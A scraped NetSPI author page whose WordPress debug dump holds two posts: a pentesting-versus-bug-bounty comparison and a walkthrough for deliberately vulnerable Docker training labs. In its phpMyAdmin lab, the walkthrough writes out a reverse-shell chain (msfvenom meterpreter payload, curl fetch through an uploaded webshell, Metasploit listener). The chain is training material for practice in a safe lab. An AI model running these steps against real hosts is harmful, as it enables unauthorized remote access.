Sam Horvath

Sam Horvath is a Technical Client Director at NetSPI. At NetSPI, he fills the role of trusted adviser for many of our enterprise accounts to ensure client success, while also working in a strategic advisory capacity on specific engagements. Previously, Sam worked as a senior consultant specializing in web applications and social engineering. He also has experience providing technical leadership and penetration testing program guidance for large financial institutions and global cloud providers. Sam earned his B.A. in computer science from Augsburg University and began his career at NetSPI in 2018 through the NetSPI University program.
More by Sam Horvath
WP_Query Object
(
    [query] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "57"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "57"
                            [compare] => LIKE
                        )

                )

        )

    [query_vars] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "57"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "57"
                            [compare] => LIKE
                        )

                )

            [error] => 
            [m] => 
            [p] => 0
            [post_parent] => 
            [subpost] => 
            [subpost_id] => 
            [attachment] => 
            [attachment_id] => 0
            [name] => 
            [pagename] => 
            [page_id] => 0
            [second] => 
            [minute] => 
            [hour] => 
            [day] => 0
            [monthnum] => 0
            [year] => 0
            [w] => 0
            [category_name] => 
            [tag] => 
            [cat] => 
            [tag_id] => 
            [author] => 
            [author_name] => 
            [feed] => 
            [tb] => 
            [paged] => 0
            [meta_key] => 
            [meta_value] => 
            [preview] => 
            [s] => 
            [sentence] => 
            [title] => 
            [fields] => 
            [menu_order] => 
            [embed] => 
            [category__in] => Array
                (
                )

            [category__not_in] => Array
                (
                )

            [category__and] => Array
                (
                )

            [post__in] => Array
                (
                )

            [post__not_in] => Array
                (
                )

            [post_name__in] => Array
                (
                )

            [tag__in] => Array
                (
                )

            [tag__not_in] => Array
                (
                )

            [tag__and] => Array
                (
                )

            [tag_slug__in] => Array
                (
                )

            [tag_slug__and] => Array
                (
                )

            [post_parent__in] => Array
                (
                )

            [post_parent__not_in] => Array
                (
                )

            [author__in] => Array
                (
                )

            [author__not_in] => Array
                (
                )

            [ignore_sticky_posts] => 
            [suppress_filters] => 
            [cache_results] => 
            [update_post_term_cache] => 1
            [lazy_load_term_meta] => 1
            [update_post_meta_cache] => 1
            [nopaging] => 1
            [comments_per_page] => 50
            [no_found_rows] => 
            [order] => DESC
        )

    [tax_query] => WP_Tax_Query Object
        (
            [queries] => Array
                (
                )

            [relation] => AND
            [table_aliases:protected] => Array
                (
                )

            [queried_terms] => Array
                (
                )

            [primary_table] => wp_posts
            [primary_id_column] => ID
        )

    [meta_query] => WP_Meta_Query Object
        (
            [queries] => Array
                (
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "57"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "57"
                            [compare] => LIKE
                        )

                    [relation] => OR
                )

            [relation] => OR
            [meta_table] => wp_postmeta
            [meta_id_column] => post_id
            [primary_table] => wp_posts
            [primary_id_column] => ID
            [table_aliases:protected] => Array
                (
                    [0] => wp_postmeta
                )

            [clauses:protected] => Array
                (
                    [wp_postmeta] => Array
                        (
                            [key] => new_authors
                            [value] => "57"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                    [wp_postmeta-1] => Array
                        (
                            [key] => new_presenters
                            [value] => "57"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                )

            [has_or_relation:protected] => 1
        )

    [date_query] => 
    [request] => 
			SELECT   wp_posts.*
			FROM wp_posts  INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id )
			WHERE 1=1  AND ( 
  ( wp_postmeta.meta_key = 'new_authors' AND wp_postmeta.meta_value LIKE '{b9d37fc025d602b6f4f51f29b374b8332bca50c6d6d505088737a28f52c54ec7}\"57\"{b9d37fc025d602b6f4f51f29b374b8332bca50c6d6d505088737a28f52c54ec7}' ) 
  OR 
  ( wp_postmeta.meta_key = 'new_presenters' AND wp_postmeta.meta_value LIKE '{b9d37fc025d602b6f4f51f29b374b8332bca50c6d6d505088737a28f52c54ec7}\"57\"{b9d37fc025d602b6f4f51f29b374b8332bca50c6d6d505088737a28f52c54ec7}' )
) AND wp_posts.post_type IN ('post', 'webinars') AND ((wp_posts.post_status = 'publish'))
			GROUP BY wp_posts.ID
			ORDER BY wp_posts.post_date DESC
			
		
    [posts] => Array
        (
            [0] => WP_Post Object
                (
                    [ID] => 27276
                    [post_author] => 65
                    [post_date] => 2022-02-01 16:12:33
                    [post_date_gmt] => 2022-02-01 22:12:33
                    [post_content] => 

While in the Kingdom of Saudi Arabia for the @Hack cybersecurity conference, we noticed a disconnect in the understanding of penetration testing. Many of the people we spoke with assumed pentesting and bug bounty programs were one and the same.

Spoiler alert: that assumption is incorrect. While they share a similar goal, pentesting services and bug bounties vary in impact and value.

In an effort to demystify the two vulnerability discovery activities, in this blog we will cover how each are used in practice, key differences, and explain the risks associated with solely relying on bug bounties.

What is a Bug Bounty Program?

Simply put, a bug bounty program consists of ethical hackers exchanging critical vulnerabilities, or bugs, for recognition and compensation. 

The parameters of a bug bounty program may vary from organization to organization. Some may scope out specific applications or networks to test and some may opt for a “free-for-all" approach. Regardless of the parameters, the process remains the same. A hacker finds a vulnerability, shares it with the organization, then, once validated, the organization pays out a bounty to the hacker. 

For a critical vulnerability finding, the average payout rose to $3,000 in 2021. Bounty payments have come a long way since 2013’s ‘t-shirt gate,’ where Yahoo offered hackers a $12.50 company store credit for finding a number of XSS (cross-site scripting) vulnerabilities – yikes.

What is Penetration Testing?

Penetration testing is an offensive security activity in which a team of pentesters, or ethical hackers, are hired to discover and verify vulnerabilities. Pentesters simulate the actions of a skilled adversary to gain privileged access to an IT system or application, such as cloud platforms, IoT devices, mobile applications, and everything in between. 

Pentesting also helps organizations meet security testing requirements set by regulatory bodies and industry standards such as PCI and HIPAA.

Pentesters use a combination of automated vulnerability discovery and manual penetration testing techniques. They work collaboratively to discover and report all vulnerability findings and help organizations with remediation prioritization. Pentesting partners like NetSPI work collaboratively with in-house security teams and are often viewed and treated as an extension of that team.

Penetration testing has evolved dramatically over the past five years with the emergence of penetration testing as a service (PTaaS). PTaaS enables more frequent, transparent, and collaborative testing. It streamlines vulnerability management and introduces interactive, real-time reporting. 

As an industry, we’ve shifted away from traditional pentesting where testers operate behind-the-curtain, then deliver a long PDF list of vulnerabilities for security teams to tackle on their own.

What is Penetration Testing?
For a more detailed definition, how it works, and criteria for selecting your penetration testing partner, read our guide.

6 Core Differences Between Pentesting and Bug Bounties

So, what are the greatest differences between pentesting and bug bounties? Let’s break it down into six components: personnel, payment, vulnerabilities, methodology, time, and strategy.

Personnel

Pentesters are typically full-time employees that have been vetted and onboarded to provide consistent results. They often work collaboratively as a team, rather than relying on a single tester. 

Bug bounty hackers operate as independent contractors and are typically crowdsourced from across the globe. Working with crowdsourced hackers can open the door to risk, given you cannot be 100% confident in their intentions and motives. 

Will they sell the intel they gather to a malicious party for additional compensation? Will they insert malicious code during a test? With full-time employees, there are additional guardrails and accountability to ensure the hacking is performed ethically.

Payment

With penetration testing vendors, the payment model can vary. Cost is often influenced by the size of the organization, the complexity of the system or application, vendor experience, the scope, depth, and breadth of the test, among other factors. 

With a bug bounty program, the more severe the vulnerability, the more money a bug bounty hunter makes. Keep in mind that negotiation of the bounty payment is very common with bug bounty programs, so it is important to factor in the time and resources to manage those discussions.

Additionally, one cause for concern with bug bounty payments is that instead of reporting vulnerabilities as they are found, it’s common for hackers to hold on to the most severe vulnerabilities for greater payout and recognition during a bug bounty tournament. 

Vulnerabilities

Because of the pay-per-vulnerability model bug bounty programs follow, it’s no surprise that many are focused solely on finding the highest severity vulnerabilities over the medium and low criticality ones. However, when chained together, lower severity vulnerabilities can expose an organization to significant risk.

This is a gap that penetration testing fills. Penetration testers chain together seemingly low-risk events to verify which vulnerabilities enable unauthorized access. Pentesters do prioritize critical vulnerabilities, but they also examine all vulnerabilities with a business context lens and communicate the risk each could pose to operations if exploited.

Vulnerability findings aside, there are also key differences in how the results are delivered. With bug bounties, it’s up to the person who found the vulnerability to decide when to disclose the flaw to the program – or save it for a tournament as mentioned above, or even disclose it publicly without consent.

Modern penetration testing companies like NetSPI operate transparently and report findings in real time as they are discovered. Plus, pentesters validate and retest to confirm the vulnerability exists, evaluate the risk it poses, and determine if it was fixed effectively.

Methodology

The greatest difference in the testing methodology of bug bounty programs and penetration testing services is consistency.

From our discussions with security leaders, the biggest challenge they face with bug bounty programs is that service, quality, project management, and other key methodology factors often lack consistency. Notably, the pool of independent contractors varies across experience and expertise. And the level of effort diminishes as rewarding, critical vulnerabilities are found and researchers move on to opportunities with greater opportunity for compensation.

Penetration testing is more methodical in nature. Testers follow robust checklists to ensure consistency in the testing process and make certain that they are not missing any notable gaps in coverage. They also hold each other accountable by working on teams. At NetSPI, our pentesters use the workbench in our Resolve PTaaS technology platform to collaborate and maintain consistency.

For any organization that has legal, regulatory, or contractual obligations for a robust security testing bug bounties simply cannot meet those requirements. Bug bounty programs are opportunistic. There is no assurance of full coverage testing as they do not adhere to defined methodology or checklists to ensure consistency from assessor to assessor, or assessment to assessment. Some bug bounties can use checklists upon request – for a hefty added cost.

Time

While bug bounty programs are evergreen and always-on, traditional penetration testing has been limited by time-boxed assessments.

To address this, first and foremost we recommend organizations provide their pentesting team with access to source code or perform a threat modeling assessment to equip their team with information a malicious hacker could gain access to in the wild. This allows pentesters to accurately emulate real attackers and spend more time finding business critical vulnerabilities.

The pentesting industry is rapidly evolving and is becoming more continuous, thanks to the PTaaS delivery model and attack surface management. Gone are the days of annual pentests that check a compliance box. We see a huge opportunity for integration with attack surface management capabilities to truly offer continuous testing of external assets.

Strategy

Penetration testing is a strategic security activity. On the other hand, bug bounty programs are very tactical and transactional: find a vulnerability, report it, get paid for it, then move on to the next hunt.

As noted earlier, penetration testing is often viewed as an extension of an internal security team and collaborates closely with defensive teams. You can also find pentesting partners that offer strategic program maturity advisory services. Because of this, pentesters deeply understand the systems, networks, applications, etc. and can assess them holistically. This is particularly beneficial for complex systems and large organizations with massive technology ecosystems.

Furthermore, strategic partnerships between penetration testing vendors and their partners lead to a greater level of trust, institutional knowledge, and free information exchange. In other words, when you work with a team of penetration testers on an ongoing basis, their ability to understand the mechanics of your company and its technologies lends itself to discovering both a greater number and higher quality of vulnerabilities.

Final Thoughts

The way penetration testing has and continues to evolve fills many of the gaps left by bug bounty programs. There is certainly room for both bug bounty programs and penetration testing in the security sector – in many cases the services complement one another. However, it is important to understand the implications and risks associated when deciding where to focus your efforts and budget. 

[post_title] => Penetration Testing Services vs. Bug Bounty Programs [post_excerpt] => What are the greatest differences between pentesting and bug bounties? We break it down into six components: personnel, payment, vulnerabilities, methodology, time, and strategy. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => penetration-testing-services-versus-bug-bounty [to_ping] => [pinged] => [post_modified] => 2022-02-16 10:23:10 [post_modified_gmt] => 2022-02-16 16:23:10 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=27276 [menu_order] => 103 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [1] => WP_Post Object ( [ID] => 11865 [post_author] => 57 [post_date] => 2021-03-25 07:00:39 [post_date_gmt] => 2021-03-25 07:00:39 [post_content] => Learning penetration testing takes time and specialized resources. Any experienced tester knows that once they have the academic knowledge of how a vulnerability could work, they’re itching to try it out in the real world – but they often lack the specialized (read: safe, legal) environment to apply their newfound knowledge. To help make that process easier, NetSPI is releasing several vulnerable Docker images and associated NetSPI lab walkthroughs that can be used to learn and practice offensive techniques against technologies commonly seen in real-world environments. If you’re not familiar with Docker, check out the links below to get started. For those unfamiliar with Scott Sutherland's existing Linux Hacking Case Studies blog series, Scott put together a series of labs that focus on exploiting common Linux issues. To make the lab environments a little easier to spin up, we've converted these labs into Docker images. If you already have a base skill-set in penetration testing but want to increase your abilities in exploiting Linux-based systems, then these labs are for you. If you’re reading these titles and scratching your head at some unfamiliar terms, read the accompanying blog links first, then run through the labs to get a better understanding of the vulnerabilities. For some of the following labs, two Docker images are used. One of the Docker images is used to run the container for the lab itself, and the other contains the msf_base image that is used to run the container for the attacker and contains the Metasploit framework necessary for doing so. These instructions were created with the intent that you are running Windows, with WSL2 for necessary Linux operations, as well as Docker for Windows.

Lab 1: Attacking insecure Rsync configurations

In Lab 1, the participant learns about Rsync – a commonly used file copy/sync utility present on many Linux distributions.

Installation/Run Instructions

  1. Pull and run the Lab 1 Docker container, which spins up a vulnerable Rsync server.
    $ docker run -dit --rm netspi/lab1 bash
    Unable to find image 'netspi/lab1:latest' locally
    latest: Pulling from netspi/lab1
    692c352adcf2: Already exists 
    [TRUNCATED]
    3af53b42f112: Pull complete 
    4530eae3603e: Pull complete 
    Digest: sha256:d04c06f733cd5cfc00d619178fd7b09ade053ce9563e1b77b0dcc99f222bc28d
    Status: Downloaded newer image for netspi/lab1:latest
    f6086037b4e4a7b3ee30fc6957881225415d8a78840049ca1b44b2d5638d7daa
  2. Grab the container ID of the netspi/lab1 container.
    $ docker run -dit --rm netspi/lab1 bash
    Unable to find image 'netspi/lab1:latest' locally
    latest: Pulling from netspi/lab1
    692c352adcf2: Already exists 
    [TRUNCATED]
    3af53b42f112: Pull complete 
    4530eae3603e: Pull complete 
    Digest: sha256:d04c06f733cd5cfc00d619178fd7b09ade053ce9563e1b77b0dcc99f222bc28d
    Status: Downloaded newer image for netspi/lab1:latest
    f6086037b4e4a7b3ee30fc6957881225415d8a78840049ca1b44b2d5638d7daa
  3. From another terminal, record the IP of your Lab 1 docker container. You'll use this IP as a target for Nmap scans later in the lab.
    $ docker inspect [container ID] | grep -F -m 1 \"IPAddress\":
                "IPAddress": "172.17.0.2",
  4. Now pull and run your msf_base container, launching into an interactive bash shell.
    $ docker run -it --rm netspi/msf_base bash 
    Unable to find image 'netspi/msf_base:latest' locally
    latest: Pulling from netspi/msf_base
    692c352adcf2: Pull complete 
    [TRUNCATED]
    fb2fa6eca858: Pull complete 
    Digest: sha256:2ec64fb7fa8c05c8e5b6b746539f6bd0bb52f9d6feaf98ff9ab2868adefca5c0
    Status: Downloaded newer image for netspi/msf_base:latest
    root@32be66de5038:/#
  5. Continue by following the lab here, using the Lab 1 container as the target host and the msf_base container as the attacking host: https://blog.netspi.com/linux-hacking-case-studies-part-1-rsync/ .
  6. After you have finished the lab, be sure to stop your container to avoid taking up resources. (Note that the container can be referenced using the first four characters of the ID returned after pulling and running the new container in step one.)
    $ docker stop f608
     f608

Lab 2: Attacking insecure NFS exports and setuid configurations

Lab 2 will walk would-be Linux masters through attacking some common vulnerabilities in two widely used technologies/protocols - NFS exports and setuid configurations. One unique aspect of this lab includes using a little imagination. In a perfect world, the lab would involve two separate Docker containers – one representing the attacker computer (running Metasploit) and a second representing the target (hosting the NFS exports). However, nfs-client utilities such as rpcinfo and showmount don’t have the ability to communicate across Docker containers, so NetSPI reworked the attack scenario to give lab users the closest possible real-world approximation in this format. Both the target and the attacker are located in the same Docker container, so the attacker should execute the attack path outlined in the blog post linked below against 127.0.0.1.

Installation/Run Instructions

  1. Pull and run the netspi/lab2 image in privileged mode.
    $ docker run --privileged --rm -d netspi/lab2
    Unable to find image 'netspi/lab2:latest' locally
    latest: Pulling from netspi/lab2
    692c352adcf2: Already exists 
    [TRUNCATED]
    89f04cf1b6f3: Pull complete 
    Digest: sha256:be6363a0aa1715aa0a97824b131aa620c7509e47668bc5d1475c1985fb6d98be
    Status: Downloaded newer image for netspi/lab2:latest
    dd68291be63abd1ec4ffe6f9c55154106a9d708824d0a6bdd40286515548b5a7
  2. Run an interactive shell in the container noted above.
    $ docker exec -it dd68291be63abd1ec4ffe6f9c55154106a9d708824d0a6bdd40286515548b5a7 bash
  3. Proceed to the instructions in this lab: https://blog.netspi.com/linux-hacking-case-studies-part-2-nfs/. Note that you should skip the steps in which you log in to the target host using SSH, as both our target host and attacking host are one and the same due to the limitations of Docker described above.
  4. After you're finished with the lab, stop the container.
    $ docker stop dd68
    dd68

Lab 3: Attacking insecure phpMyAdmin configurations and world-writable files

The steps in Lab 3 will teach students how to attack phpMyAdmin instances found during routine port scans. The steps to complete the lab represent a significant departure from the attack path discussed in the blog linked below, though they exhibit the same concepts.

Installation/Run Instructions

  1. Pull the netspi/lab3 image with Docker
    $ docker pull netspi/lab3
  2. List the Docker images and note the ID for the lab3 image
    $ docker images
    
    REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
    netspi/lab3         latest              4d30e4fe9cb9        6 months ago        975MB
  3. Run the lab 3 Docker image using the previously noted image ID, making sure to expose port 80 so the MSF container can access the phpMyAdmin service on the vulnerable container (netspi/lab3). Be sure to use docker inspect to note the IP address of the container for later.
    docker run -dit -p 80:80 [image ID]
  4. In a separate terminal, start a session within the MSF container to use as your attacker machine.
    $ docker run -it --rm netspi/msf_base bash                  
    root@e6cfb4c91a9f:/#
  5. Note the IP of the msf_base image you just spun up, you will need this later.
    $docker ps
    CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
    3ab944f8c546 1df49e2310ff "bash" 9 minutes ago Up 9 minutes 0.0.0.0:4444->4444/tcp great_swirles
    e4ef60c9518d netspi/msf_base "bash" 12 minutes ago Up 12 minutes objective_austin
    14469fadfd40 4d30e4fe9cb9 "/run.sh" 13 minutes ago Up 13 minutes 0.0.0.0:80->80/tcp, 3306/tcp romantic_williamson
    
    $docker inspect e4ef60c9518d | grep -F -m 1 \"IPAddress\":
    "IPAddress": "172.17.0.3
  6. Using a web browser on the computer you're running all your Docker containers on, navigate to https://127.0.0.1/phpmyadmin/index.php
  7. Follow the attack vector detailed in Scott's blog here to brute force the password to the phpMyAdmin instance, as well as write a webshell in SQL to upload to the same instance's backend. After you have written the webshell, refer to attack setup below to continue the exploit.

Attack Setup

The way phpMyAdmin was ported to Docker containers precludes an attacker from generating a reverse shell via cron job as depicted in Scott's blog. To mitigate this problem, an alternative exploit was developed. The cmd.php file you just uploaded contains the curl command that will reach out and and pull a hosted reverse shell from a simpleHTTPServer running on the MSF Docker container you spun up above - this effectively replicates the backdoor outlined in Scott's blog, but within the constraints effected by running phpMyAdmin on Docker. Using Docker to do all this means you don't have to go through troubleshooting a phpMyAdmin install, etc. and can focus on learning the exploit itself.
  1. In a third terminal window, open an msfconsole bash container with port 4444 exposed
    $ docker run -it --rm -p 4444:4444 {msf_base ​​​​image ID}​​​​  bash
  2. Generate a reverse shell with the msfvenom module
    1. Use a separate terminal window to grab the LHOST value for the msf_base container running with port 4444 exposed.

      $ docker inspect {lab3 container ID} | grep  -F -m 1 \“IPAddress\“:
      "IPAddress": "172.17.0.3,

       

    2. Generate the reverse shell using the same msf_base container that you plan to use to serve the simpleHTTPServer in the next step.

      $ msfvenom -p php/meterpreter_reverse_tcp LHOST=172.17.0.3 LPORT=4444 -f raw > reverseshell.php
  3. In the MSF Docker container you started earlier, spin up a simple Python HTTP server to host the reverse shell file. This allows you to curl the reverse shell from the victim computer.
    $ python -m SimpleHTTPServer 8088
  4. In the GUI located at https://127.0.0.1/phpmyadmin/cmd.php, use the webshell uploaded previously to curl for the reverseshell.php file that was just created in the MSF container. The IP address should be the IP of the Docker container you pulled in step 5 of the installation instructions.
    $ curl docker_container_IP:8088/reverseshell.php -o reverseshell.php
    If you performed the above steps correctly, you will see the resulting GET request from the curl command be processed by the SimpleHTTPServer.
  5. Open another terminal window and access the same MSF container using the following steps:
    1. List all your running Docker containers
      $ docker ps 
      CONTAINER ID   IMAGE             COMMAND     CREATED          STATUS          PORTS                          NAMES
      f3c1bdede660   4d30e4fe9cb9      "/run.sh"   4 minutes ago    Up 4 minutes    0.0.0.0:80->80/tcp, 3306/tcp   eloquent_bell
      5623af2f7ecf   netspi/msf_base   "bash"      33 minutes ago   Up 33 minutes   0.0.0.0:4444->4444/tcp         goofy_noyce
    2. Access the bash terminal of the running msf_base container that has port 4444 exposed.
      $ docker exec -it 5623af2f7ecf bash 
      root@5623af2f7ecf:/#
  6. Set up a listener on the MSF container using the new bash terminal you just opened. (The window not currently running the SimpleHTTPServer on port 8088). The LHOST IP should match the IP of the msf_console Docker container that has port 4444 exposed.
    $ root@5623af2f7ecf:/# msfconsole
    $ msf6 > use exploit/multi/handler
    [*] Using configured payload generic/shell_reverse_tcp
    $ msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
    PAYLOAD => linux/x64/meterpreter_reverse_tcp
    $ msf6 exploit(multi/handler) > set LPORT 4444
    LPORT => 4444
    $ msf6 exploit(multi/handler) > set LHOST 172.17.0.3
    LHOST => 172.17.0.3
    $ msf6 exploit(multi/handler) > run
    
    [*] Started reverse TCP handler on 172.17.0.3:4444
  7. Navigate to https://127.0.0.1/phpmyadmin/reverseshell.php
    1. Go back to your MSF container and type shell to open a shell. Then run a bash command to confirm that you have bash control of the phpMyAdmin console.
      $ shell
      $ whoami
      www-data
  8. Congratulations, you now have a reverse shell running on the target host.

Lab 4: Different ways to approach SSH password guessing and attacking sudo applications

Lab 4 will teach you to attack SSH passwords and sudo applications, and is perhaps the most accessible to those who are new to penetration testing.

Installation/Run Instructions

  1. Pull and run the Lab 4 Docker container.
    $ docker run -dit --rm netspi/lab4 tail -f /dev/null 
    Unable to find image 'netspi/lab4:latest' locally
    latest: Pulling from netspi/lab4
    692c352adcf2: Already exists 
    [TRUNCATED]
    d759bf5b0446: Pull complete 
    Digest: sha256:eca1ff10dcbcaf2aec164cb97f447c94853259d989ee122b271ab0325ffcef66
    Status: Downloaded newer image for netspi/lab4:latest
    944da34600eb9cf03b6dfc4423494897b0625974894039ef6a5e330d9955ca67
  2. Pull and run the msf_base container.
    $ docker run -it --rm netspi/msf_base bash 
    root@2bed01938a23:/#
  3. Proceed to the instructions in this lab: https://blog.netspi.com/linux-hacking-case-studies-part-4-sudo-horror-stories/. All commands from here on out can be run from the msf_base container.
  4. Once you have finished the lab, be sure to stop the container(s).
    $ docker stop 944d
    944d

Lab 5: Summary

Created with docker-compose, this lab is simply a consolidated way of running labs 1-4 and creating an msf_console container all in one swoop. Following the instructions below, docker-compose will create and start labs 1-4 as well as present you with an msf_console container from which to test. From there, follow the blog posts for labs 1-4 any time you get stuck!

Installation/Run Instructions

  1. Clone the Github repository
    $ git clone git@github.com:NetSPI/NetSPI-Docker-Labs.git 
    Cloning into 'NetSPI-Docker-Labs'...
    remote: Enumerating objects: 33, done.
    remote: Counting objects: 100% (33/33), done.
    remote: Compressing objects: 100% (30/30), done.
    remote: Total 33 (delta 0), reused 33 (delta 0), pack-reused 0
    Receiving objects: 100% (33/33), 8.97 KiB | 4.48 MiB/s, done.
  2. cd to the Lab 5 directory in the repository you just cloned.
  3. Run the Docker compose command to build and run the necessary images
    $ docker-compose up -d
    Creating network "lab5" with driver "bridge"
    Pulling lab3 (netspi/lab3:)...
    latest: Pulling from netspi/lab3
    c64513b74145: Pull complete
    01b8b12bad90: Pull complete
    [TRUNCATED]
    b74cb7320347: Pull complete
    0b77cb4369b4: Pull complete
    9e2e5286c54e: Pull complete
    Digest: sha256:303d80067ad6ad5e07fd3d1e7d2b67e32fec652d374f44ea9458098ba085c6f0
    Status: Downloaded newer image for netspi/lab3:latest
    Creating lab5_lab3_1 ... done
    Creating lab5_lab1_1 ... done
    Creating lab5_lab2_1 ... done
    Creating lab5_lab4_1 ... done
  4. Obtain the IP addresses of the launched containers for further use in attack scenarios.
    $ docker network inspect lab5 | grep '"Name": \| "IPv4Address": "'
    "Name": "lab5",
    "Name": "lab5_lab1_1",
    "IPv4Address": "172.18.0.5/16",
    "Name": "lab5_lab3_1",
    "IPv4Address": "172.18.0.4/16",
    "Name": "lab5_lab4_1",
    "IPv4Address": "172.18.0.3/16",
    "Name": "lab5_lab2_1",
    "IPv4Address": "172.18.0.2/16",
  5. Start the MSF container in the same network as the other lab5 containers
    $ docker run -it --network=lab5 netspi/msf_base bash
    root@0bea0cb52b2a:/#
  6. After you're done with the labs, take down the containers. Be sure to run this command from the same folder you launched the containers from originally.
    $ docker-compose down

Conclusion

Congratulations on getting this far – you’re ready to start learning. Take your time, read the blogs carefully, and proceed with *some* caution. For more penetration testing news and resources, follow NetSPI on Twitter, and if you're having any issues with the labs that you want to ask us about, give us a shout on the GitHub repository for the labs! Finally, a huge thanks to Scott Sutherland, Emerson Drapac, Rafael Seferyan, and Bjorn Buttermann for the mountain of work they did creating these labs and the blog posts they’re based on. [post_title] => Dockerizing the NetSPI Linux Labs [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => finding-root-a-netspi-enhanced-journey [to_ping] => [pinged] => [post_modified] => 2021-05-18 20:35:43 [post_modified_gmt] => 2021-05-18 20:35:43 [post_content_filtered] => [post_parent] => 0 [guid] => https://blog.netspi.com/?p=11865 [menu_order] => 211 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) ) [post_count] => 2 [current_post] => -1 [in_the_loop] => [post] => WP_Post Object ( [ID] => 27276 [post_author] => 65 [post_date] => 2022-02-01 16:12:33 [post_date_gmt] => 2022-02-01 22:12:33 [post_content] =>

While in the Kingdom of Saudi Arabia for the @Hack cybersecurity conference, we noticed a disconnect in the understanding of penetration testing. Many of the people we spoke with assumed pentesting and bug bounty programs were one and the same.

Spoiler alert: that assumption is incorrect. While they share a similar goal, pentesting services and bug bounties vary in impact and value.

In an effort to demystify the two vulnerability discovery activities, in this blog we will cover how each are used in practice, key differences, and explain the risks associated with solely relying on bug bounties.

What is a Bug Bounty Program?

Simply put, a bug bounty program consists of ethical hackers exchanging critical vulnerabilities, or bugs, for recognition and compensation. 

The parameters of a bug bounty program may vary from organization to organization. Some may scope out specific applications or networks to test and some may opt for a “free-for-all" approach. Regardless of the parameters, the process remains the same. A hacker finds a vulnerability, shares it with the organization, then, once validated, the organization pays out a bounty to the hacker. 

For a critical vulnerability finding, the average payout rose to $3,000 in 2021. Bounty payments have come a long way since 2013’s ‘t-shirt gate,’ where Yahoo offered hackers a $12.50 company store credit for finding a number of XSS (cross-site scripting) vulnerabilities – yikes.

What is Penetration Testing?

Penetration testing is an offensive security activity in which a team of pentesters, or ethical hackers, are hired to discover and verify vulnerabilities. Pentesters simulate the actions of a skilled adversary to gain privileged access to an IT system or application, such as cloud platforms, IoT devices, mobile applications, and everything in between. 

Pentesting also helps organizations meet security testing requirements set by regulatory bodies and industry standards such as PCI and HIPAA.

Pentesters use a combination of automated vulnerability discovery and manual penetration testing techniques. They work collaboratively to discover and report all vulnerability findings and help organizations with remediation prioritization. Pentesting partners like NetSPI work collaboratively with in-house security teams and are often viewed and treated as an extension of that team.

Penetration testing has evolved dramatically over the past five years with the emergence of penetration testing as a service (PTaaS). PTaaS enables more frequent, transparent, and collaborative testing. It streamlines vulnerability management and introduces interactive, real-time reporting. 

As an industry, we’ve shifted away from traditional pentesting where testers operate behind-the-curtain, then deliver a long PDF list of vulnerabilities for security teams to tackle on their own.

What is Penetration Testing?
For a more detailed definition, how it works, and criteria for selecting your penetration testing partner, read our guide.

6 Core Differences Between Pentesting and Bug Bounties

So, what are the greatest differences between pentesting and bug bounties? Let’s break it down into six components: personnel, payment, vulnerabilities, methodology, time, and strategy.

Personnel

Pentesters are typically full-time employees that have been vetted and onboarded to provide consistent results. They often work collaboratively as a team, rather than relying on a single tester. 

Bug bounty hackers operate as independent contractors and are typically crowdsourced from across the globe. Working with crowdsourced hackers can open the door to risk, given you cannot be 100% confident in their intentions and motives. 

Will they sell the intel they gather to a malicious party for additional compensation? Will they insert malicious code during a test? With full-time employees, there are additional guardrails and accountability to ensure the hacking is performed ethically.

Payment

With penetration testing vendors, the payment model can vary. Cost is often influenced by the size of the organization, the complexity of the system or application, vendor experience, the scope, depth, and breadth of the test, among other factors. 

With a bug bounty program, the more severe the vulnerability, the more money a bug bounty hunter makes. Keep in mind that negotiation of the bounty payment is very common with bug bounty programs, so it is important to factor in the time and resources to manage those discussions.

Additionally, one cause for concern with bug bounty payments is that instead of reporting vulnerabilities as they are found, it’s common for hackers to hold on to the most severe vulnerabilities for greater payout and recognition during a bug bounty tournament. 

Vulnerabilities

Because of the pay-per-vulnerability model bug bounty programs follow, it’s no surprise that many are focused solely on finding the highest severity vulnerabilities over the medium and low criticality ones. However, when chained together, lower severity vulnerabilities can expose an organization to significant risk.

This is a gap that penetration testing fills. Penetration testers chain together seemingly low-risk events to verify which vulnerabilities enable unauthorized access. Pentesters do prioritize critical vulnerabilities, but they also examine all vulnerabilities with a business context lens and communicate the risk each could pose to operations if exploited.

Vulnerability findings aside, there are also key differences in how the results are delivered. With bug bounties, it’s up to the person who found the vulnerability to decide when to disclose the flaw to the program – or save it for a tournament as mentioned above, or even disclose it publicly without consent.

Modern penetration testing companies like NetSPI operate transparently and report findings in real time as they are discovered. Plus, pentesters validate and retest to confirm the vulnerability exists, evaluate the risk it poses, and determine if it was fixed effectively.

Methodology

The greatest difference in the testing methodology of bug bounty programs and penetration testing services is consistency.

From our discussions with security leaders, the biggest challenge they face with bug bounty programs is that service, quality, project management, and other key methodology factors often lack consistency. Notably, the pool of independent contractors varies across experience and expertise. And the level of effort diminishes as rewarding, critical vulnerabilities are found and researchers move on to opportunities with greater opportunity for compensation.

